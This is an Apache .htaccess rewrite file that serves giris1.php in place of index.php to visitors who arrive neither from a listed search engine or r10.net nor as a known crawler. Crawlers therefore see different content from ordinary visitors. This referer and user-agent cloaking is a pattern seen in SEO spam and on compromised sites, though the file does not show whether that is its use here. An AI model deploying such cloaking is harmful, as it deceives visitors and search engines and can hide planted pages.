<IfModule mod_rewrite.c>
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?r10\.net(.*) [NC]
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?google\.com(.*) [NC]
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?google\.com.tr(.*) [NC]
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?google\.de(.*) [NC]
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?bing\.com(.*) [NC]
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?yandex\.com(.*) [NC]
RewriteCond %{HTTP_USER_AGENT} !(googlebot|bingbot|yandex) [NC]
RewriteRule ^index.php$ giris1.php [L]
</IfModule>